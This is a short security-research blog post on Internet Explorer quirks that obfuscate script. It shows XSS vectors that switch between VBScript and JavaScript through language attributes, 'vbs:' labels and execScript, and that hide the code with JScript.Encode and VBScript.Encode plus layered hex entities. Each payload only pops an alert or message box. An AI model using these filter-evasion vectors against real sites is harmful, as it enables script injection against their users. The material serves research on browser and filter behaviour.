Ping pong obfuscation

This is a fun post about a feature I found in IE that allows you to do some crazy obfuscation. I'll start off with some simple examples:-

<pre lang="javascript"> &lt;img src=1 language=vbs onerror=msgbox+1&gt; &lt;img src=1 language=vbscript onerror=msgbox+1&gt; &lt;img src=1 onerror=vbs:msgbox+1&gt; </pre>

So here we're not obfuscating but I'm showing how IE accepts the language attribute and a labelled vbs statement to change the event to allow vbscript instead of javascript. Ok so lets play a little ping pong:-

<pre lang="javascript"> execScript("MsgBox 1","vbscript"); //executes vbs from js execScript('execScript "alert(1)","javascript"',"vbscript"); </pre>

Look how we can call vbscript from javascript by using execScript and then look how we can execute from javascript to vbscript and then back to javascript again! So now we're playing some ping pong but how can we make our little game hidden?

<pre lang="javascript"> &lt;a href=# language=&quot;JScript.Encode&quot; onclick=&quot;#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@&quot;&gt;test&lt;/a&gt; </pre>

Wait what? Yeah IE supports jscript.encode within the language attribute. Remember jscript.encode? ah the old ones are the best :) That's it right? Well....

<pre lang="javascript"> &lt;iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@&gt; </pre>

Yeah you can use VBScript.Encode and Javascript.Encode as labels within an event! You might be going WTF right now and I can understand it because I did exactly the same but it would be silly to finish now without finishing our game of ping pong. How many rallies shall I do? I think 3 should be enough....

<pre lang="javascript"> &lt;body onload=&quot;&amp;#x6a;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x2e;&amp;#x65;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x3a;&amp;#x23;&amp;#x40;&amp;#x7e;&amp;#x5e;&amp;#x54;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x3d;&amp;#x3d;&amp;#x6e;&amp;#x58;&amp;#x2b;&amp;#x5e;&amp;#x55;&amp;#x6d;&amp;#x4d;&amp;#x6b;&amp;#x77;&amp;#x44;&amp;#x60;&amp;#x72;&amp;#x3a;&amp;#x40;&amp;#x24;&amp;#x3f;&amp;#x37;&amp;#x33;&amp;#x68;&amp;#x7a;&amp;#x62;&amp;#x29;&amp;#x29;&amp;#x7b;&amp;#x27;&amp;#x5a;&amp;#x25;&amp;#x51;&amp;#x52;&amp;#x47;&amp;#x3d;&amp;#x32;&amp;#x9;&amp;#x56;&amp;#x37;&amp;#x57;&amp;#x42;&amp;#x20;&amp;#x71;&amp;#x64;&amp;#x47;&amp;#x5c;&amp;#x3a;&amp;#x32;&amp;#x6a;&amp;#x62;&amp;#x65;&amp;#x62;&amp;#x7a;&amp;#x29;&amp;#x27;&amp;#x7b;&amp;#x37;&amp;#x3a;&amp;#x3d;&amp;#x40;&amp;#x24;&amp;#x4a;&amp;#x7e;&amp;#x45;&amp;#x25;&amp;#x6b;&amp;#x6d;&amp;#x2e;&amp;#x6b;&amp;#x61;&amp;#x4f;&amp;#x63;&amp;#x2b;&amp;#x55;&amp;#x31;&amp;#x57;&amp;#x39;&amp;#x2b;&amp;#x4a;&amp;#x2a;&amp;#x43;&amp;#x52;&amp;#x63;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x3d;&amp;#x3d;&amp;#x5e;&amp;#x23;&amp;#x7e;&amp;#x40;&quot;&gt; </pre>

Ok so I go to:- jscript->jscript.encode->jscript.encode->jscript.encode->hex entities